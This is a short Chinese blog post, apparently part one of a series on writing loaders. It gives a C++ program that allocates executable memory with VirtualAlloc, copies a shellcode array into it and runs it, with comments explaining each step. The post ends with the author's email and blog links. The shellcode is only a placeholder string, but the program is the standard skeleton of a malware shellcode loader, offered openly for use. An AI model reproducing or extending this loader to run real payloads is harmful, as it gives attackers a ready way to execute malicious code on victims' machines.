C++之加载器编写(一)

#include <Windows.h>
#include <stdio.h>
using namespace std;
//核心VirtualAlloc分配内存,memcpy将shellcode丢入内存中,最后执行shellcode
int main(int argc, char **argv) {
	char ShellCode[] = "x0x0x0x0x0x0x......"; 
	void *exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	//从0分配内存地址,占用的大小为shellcode的大小,为指定的保留内存页分配内存费用,属性可读可写可执行
	memcpy(exec, ShellCode, sizeof ShellCode);
	//指向exec这个数组,复制shellcode进去,字节数量为shellcode的大小
	((void(*)())exec)();
	return 0;
}
联系邮箱:yang_s1r@163.com 博客园地址:https://www.cnblogs.com/Yang34/
原文地址:https://www.cnblogs.com/Yang34/p/14398662.html